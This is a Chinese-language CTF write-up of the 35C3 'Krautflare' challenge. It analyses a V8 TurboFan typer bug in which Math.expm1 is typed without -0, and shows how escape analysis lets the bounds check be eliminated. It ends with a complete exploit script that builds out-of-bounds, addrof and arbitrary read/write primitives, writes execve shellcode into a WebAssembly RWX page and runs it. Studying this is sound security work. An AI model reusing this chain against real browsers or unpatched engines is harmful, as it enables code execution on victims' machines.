35C3_CTF_2018 Krautflare分析

前言:

一道关于v8 turbofan中typer漏洞的题目.构造起来很困难…
漏洞出自: https://bugs.chromium.org/p/project-zero/issues/detail?id=1710

主要参考了这篇文章:
Exploiting the Math.expm1 typing bug in V8

作者写的极其详细…我只是补充下我的一些理解.

typer出现的问题:

typer干的事就是根据input节点等信息给节点标记上可能的Type. 例如给某个函数调用节点标记上可能的返回值类型. 然后后续会根据这些Type进行一些优化.
typer会在以下三个阶段运行:

  • in the typer phase
  • in the TypeNarrowingReducer (load elimination phase)
  • in the simplified lowering phase
1
2
case BuiltinFunctionId::kMathExpm1:
return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());

typer当遇到Math.Expm1这个builtin函数的时候会给该节点标记上type:Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());,不包括-0。但实际上Math.Expm1的返回值有可能是-0.

MDN上关于Math.expm1的描述如下:

Math.expm1() 函数返回 E**x - 1, 其中 x 是该函数的参数, E 是自然对数的底数 2.718281828459045.参数 x 会被自动类型转换成 number 类型.

Math.expm1(-0)的值是-0.
可以利用Object.is(Math.expm1(-0),-0)来判断两者是否相同.

poc分析:

1
2
3
4
5
6
7
8
function foo(x) {
return Object.is(Math.expm1(x), -0);
}
console.log(foo(0));
%OptimizeFunctionOnNextCall(foo);
foo("0");
%OptimizeFunctionOnNextCall(foo);
console.log(foo(-0));

运行脚本会输出false:

1
2
wxy@ubuntu:~/krautflare$ ./d8 --allow-natives-syntax ./xx.js 
false

观察最后一次优化typer时期的graph:

Math.Expm1节点Type标记被标记为PlainNumber/NaN
因为优化器看到一个-0和返回值类型为非-0的节点比较,会认为比较永远为false,则typed lowering阶段中的常量折叠则会直接将SameValue替换成了常数false:

所以打印的结果为false.

typer标记的错误类型导致了后续优化器的错误优化,最后生成错误的机器代码。
注意Object.is这里正确的比较结果应该是true,打印的结果为false的原因是后续优化器的结果,如果后续优化器不进行常量折叠操作,那么打印的结果仍然是true.

但poc这里只是输出了错误的结果,并不能造成安全问题. 我们需要利用typer的类型传播,利用simplify lowering阶段的redundancyElimination将数组存取操作之前的CheckBound节点去除,这样就可以进行数组越界访问.

构造越界访问:

参考文章先给出一个脚本作为引例:

1
2
3
4
5
6
7
8
9
10
function foo(x) {
let a = [0.1, 0.2, 0.3, 0.4];
let b = Object.is(Math.expm1(x), -0);
return a[b * 1337];
}
console.log(foo(0));
%OptimizeFunctionOnNextCall(foo);
foo("0");
%OptimizeFunctionOnNextCall(foo);
console.log(foo(-0));

最后一次运行foo函数时,根据前面的分析,因为编译器过早的看见我们在与-0进行比较,typed lowering阶段的常量折叠会直接将SameValue节点折叠成常量false,b的值毋庸置疑是false,那么将访问到a[0].不会发生越界访问。

理想的构造形式

让Object.is的返回值为true(这样访问是a[1337]),而且能够利用typer标记的错误Type信息欺骗编译器,让编译器认为Object.is的比较结果为false,将SameValue的Type标记为false,并传播这个类型信息。
然后在后续Simplify lowering阶段的redundancyElimination会将CheckBound移除,这样a[1337]就可以发生越界访问(如果CheckBound节点没有移除则会得到undefined,不会造成越界访问)。

参考文章中给出的 turbofan 优化管道:

可以看出在前两次type结束后会进行常量折叠,也就是说如果在前两次type的时候编译器就发现Expm1在跟-0进行比较,那么顺应在其之后的常量折叠就会将SameValue节点直接替换成 常量false,那么Object.is的返回结果就是false,跟我们想要的不一样.
我们需要在第三次type的时候才让编译器发现我们在跟-0进行比较。

Simplify lowering阶段中包括三个阶段:

1
2
3
4
5
6
7
8
9
void Run(SimplifiedLowering* lowering) {
RunTruncationPropagationPhase();

RunTypePropagationPhase();

// Run lowering and change insertion phase.
TRACE("--{Simplified lowering phase}--\n");
phase_ = LOWER;
...

TypePropagationPhase中会进行type,其中会进行类型传播.

我们需要在此次type时才让编译器看到我们正在与 -0 进行比较. 这次type过后,SameValue的Type信息会被更改为singleton_false_

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Type OperationTyper::SameValue(Type lhs, Type rhs) {
if (!JSType(lhs).Maybe(JSType(rhs))) return singleton_false();
if (lhs.Is(Type::NaN())) {
if (rhs.Is(Type::NaN())) return singleton_true();
if (!rhs.Maybe(Type::NaN())) return singleton_false();
} else if (rhs.Is(Type::NaN())) {
if (!lhs.Maybe(Type::NaN())) return singleton_false();
}
if (lhs.Is(Type::MinusZero())) {
if (rhs.Is(Type::MinusZero())) return singleton_true();
if (!rhs.Maybe(Type::MinusZero())) return singleton_false(); //这里返回singleton_false
} else if (rhs.Is(Type::MinusZero())) {
if (!lhs.Maybe(Type::MinusZero())) return singleton_false();
}
if (lhs.Is(Type::OrderedNumber()) && rhs.Is(Type::OrderedNumber()) &&
(lhs.Max() < rhs.Min() || lhs.Min() > rhs.Max())) {
return singleton_false();
}
return Type::Boolean();
}

然后类型传播,b*1337的Type信息就会是range(0),而0小于数组的长度4,则redundancyElimination会认为这次存取操作是合法的,就会将CheckBound节点移除. 注意此时type过后没有发生常量折叠,则Object.is的返回结果为true,会访问到a[1337],成功的得到了越界访问.

利用逃逸分析绕过前两次type

按我的理解,函数中发生逃逸的对象是可以被外界所引用. 例如该对象作为函数的返回值.如果函数中某个变量没有发生逃逸,则可以不用在堆中给他分配内存,可以直接在栈中给他分配内存,当函数返回后,该对象就直接清除了,减少了GC的压力.
例如:

1
2
3
4
5
function foo()
{
let a = {x:1};
return a.x;
}

其中对象a没有发生逃逸,则可以优化成:

1
2
3
4
function foo()
{
return 1;
}

在turbofan的优化管道中,逃逸分析阶段正好在第三次type之前,第二次type之后.
看下面的代码:

1
2
3
4
5
6
7
8
9
10
11
function foo(x) {
let a = [0.1, 0.2, 0.3, 0.4];
let o = {mz: -0};
let b = Object.is(Math.expm1(x), o.mz);
return a[b * 1337];
}
console.log(foo(0));
%OptimizeFunctionOnNextCall(foo);
foo("0");
%OptimizeFunctionOnNextCall(foo);
console.log(foo(-0));

观察最后一次优化生成的graph:

在逃逸分析之前:

编译器还是不知道跟expm1比较是什么,SameValue的Type在逃逸分析之前一直都是Boolean,编译器并不知道确切的比较结果.
在逃逸分析之后:

SameValue的左输入节点被优化为常量-0.这样在Simplify lowering中type的时候就可以将SameValue节点type成singleton_false.然后后面就可以将CheckBound节点消除.
simplify lowering后的graph:

可以看到CheckBound节点已经被消除了.

参考文章给出的越界访问poc出现的问题:

参考文章作者给出的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
let o = {mz: -0};
let b = Object.is(Math.expm1(x), o.mz);
let a = [0.1, 0.2, 0.3, 0.4]; // origin array
arrs.push([0.4, 0.5]); // OOB array
objs.push({marker: 0x41414141, obj: {}}); // victim object
bufs.push(new ArrayBuffer(0x41)); // victim buffer
let new_size = (new Int64("7fffffff00000000")).asDouble()
for (let i = 4; i < 20; i++) {
let val = a[b*i];
let is_backing = a[b*(i+1)] === 0.4;
let orig_size = Int64.fromDouble(val).toString();
let good = (orig_size === "0x0000000200000000" && !is_backing);
a[b*i*good] = new_size;
if (good)
break;
}

这里引入了good变量,参考文章中的poc是可以成功的进行越界写的.但当我自己写的时候,我改变了逻辑:

1
2
if(good)
a[b*i] = new_size;

没有用good来计算索引值,导致无法越界写…

我的测试脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
let conv = new convert();
let arrs= new Array();
let bufs= new Array();
let objs= new Array();
function foo(x)
{
let o = {mz:-0};
let a = [0.1 , 0.2 , 0.3 , 0.4];
let b = Object.is(Math.expm1(x),o.mz);
arrs.push([0.4,0.5]);
objs.push({mark:0x41414141,obj:{}});
bufs.push(new ArrayBuffer(0x41));
let i= 20;
let len = conv.f2i(a[i*b]);
let is_backing = a[b*(i+1)] === 0.4;
let good= (len == 0x200000000n && !is_backing);
a[b*i*good] = conv.i2f(0x9999999200000000n);

}
foo(0);
%OptimizeFunctionOnNextCall(foo);
foo("0");
%OptimizeFunctionOnNextCall(foo);
console.log(foo(-0));
console.log(foo(-0));

这个脚本中使用good变量来计算index值.
逃逸分析后的graph如下:

可以看到SameValue的Type被传播了下去.数组写入操作之前有个CheckBound节点,跟之前分析的Graph基本上相同.这样在Simplify lowering阶段的type就会将SameValue的singleton_false传播过去,然后消除CheckBound节点.

当不使用good变量作为index时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
let conv = new convert();
let arrs= new Array();
let bufs= new Array();
let objs= new Array();
function foo(x)
{
let o = {mz:-0};
let a = [0.1 , 0.2 , 0.3 , 0.4];
let b = Object.is(Math.expm1(x),o.mz);
arrs.push([0.4,0.5]);
objs.push({mark:0x41414141,obj:{}});
bufs.push(new ArrayBuffer(0x41));
let i= 20;
let len = conv.f2i(a[i*b]);
let is_backing = a[b*(i+1)] === 0.4;
let good= (len == 0x200000000n && !is_backing);
if(good)
a[b*i] = conv.i2f(0x9999999200000000n);

}
foo(0);
%OptimizeFunctionOnNextCall(foo);
foo("0");
%OptimizeFunctionOnNextCall(foo);
console.log(foo(-0));
console.log(foo(-0));

Simplify lowering阶段的graph如下:

当good为true的时候直接走到了去优化节点…,并没有数组存取等操作..

通过上面的分析可以了解到SameValue的类型信息需要good变量来进行传递.

利用脚本:

参考文章的思路是通过这个越界写数组修改下一个数组的length属性,这样就可以构造出一个稳定oob的数组.

完整的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
class convert
{
constructor()
{
this.buf=new ArrayBuffer(8)
this.uint8array=new Uint8Array(this.buf);
this.float64array=new Float64Array(this.buf);
this.uint32array=new Uint32Array(this.buf);
this.bitint=new BigUint64Array(this.buf);
}
f2i(x)//float64 ==> uint64
{
this.float64array[0]=x;
return this.bitint[0];
}
i2f(x)
{
this.bitint[0]=BigInt(x);
return this.float64array[0];
}
}
let conv = new convert();
let arrs= new Array();
let bufs= new Array();
let objs= new Array();
function foo(x)
{
let o = {mz:-0};
let a = [0.1 , 0.2 , 0.3 , 0.4];
let b = Object.is(Math.expm1(x),o.mz);
arrs.push([0.4,0.5]);
objs.push({mark:0x41414141,obj:{}});
bufs.push(new ArrayBuffer(0x41));
for(let i = 4 ; i< 200 ;i++)
{
let len = conv.f2i(a[i*b]);
let is_backing = a[b*(i+1)] === 0.4;
//console.log(len.toString(16));
let good= (len == 0x200000000n && !is_backing);
//if(good)
a[b*i*good] = conv.i2f(0x9999999200000000n);
}
}
/*
foo(0);
%OptimizeFunctionOnNextCall(foo);
foo("0");
%OptimizeFunctionOnNextCall(foo);
foo(-0);
*/
foo(0);
for(let i = 0 ; i< 10000 ; i++)
{
console.log("times "+(i+1));
foo("0");
}
foo(-0);
//%DebugPrint(bufs[2]);
//%SystemBreak();
let oob;
let obj;
let buf;
for(let i = 0 ; i< arrs.length ; i++)
{
if(arrs[i].length != 2){
oob = arrs[i];
obj = objs[i];
buf = bufs[i];
break;
}
}


let offset_obj;
for(let i = 0 ;i < 40 ; i++ ){
let temp = conv.f2i(oob[i]);
if(temp == 0x4141414100000000)
{
offset_obj = i+1;
break;
}
}

function addrof(x)
{
obj.obj=x;
return conv.f2i(oob[offset_obj]);
}

let buf_backing_offset;

for(let i = 0 ; i < 50 ; i++)
{
let temp = conv.f2i(oob[i]);
if(temp == 0x41)
{
oob[i]=conv.i2f(0x8);
buf_backing_offset=i+1;
break;
}
}
console.log(buf_backing_offset);
function read(addr)
{
oob[buf_backing_offset]=conv.i2f(addr);
let bigint=new BigUint64Array(buf);
return bigint[0];
}

function write(addr,x)
{
oob[buf_backing_offset] = conv.i2f(addr);
let byte=new Uint8Array(buf);
byte[0]=x;
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
//%DebugPrint(f);
let f_addr = addrof(f) - 1n;
console.log("f_addr ==> 0x"+f_addr.toString(16));
let share_info_addr = read(f_addr + 0x18n) - 1n;
console.log("share_info ==> 0x"+share_info_addr.toString(16));
let wasm = read(share_info_addr + 8n) - 1n;
console.log("wasm ==> 0x"+wasm.toString(16));
let instance=read(wasm+0x10n) -1n;
console.log("instance ==> 0x"+instance.toString(16));
let rwx_addr=read(instance+0xe8n)
console.log("rwx_addr ==> 0x"+rwx_addr.toString(16));
//%SystemBreak();

shellcode =[72,49,210,82,72,141,61,48,0,0,0,87,72,141,61,37,0,0,0,87,72,141,61,21,0,0,0,87,72,141,52,36,72,141,61,9,0,0,0,72,199,192,59,0,0,0,15,5,47,98,105,110,47,115,104,0,45,99,0,101,120,112,111,114,116,32,68,73,83,80,76,65,89,61,58,48,46,48,59,120,99,97,108,99,0]
for(let i = 0 ; i< shellcode.length ; i++)
{
write(rwx_addr+BigInt(i),shellcode[i]);
}
//%SystemBreak();
f();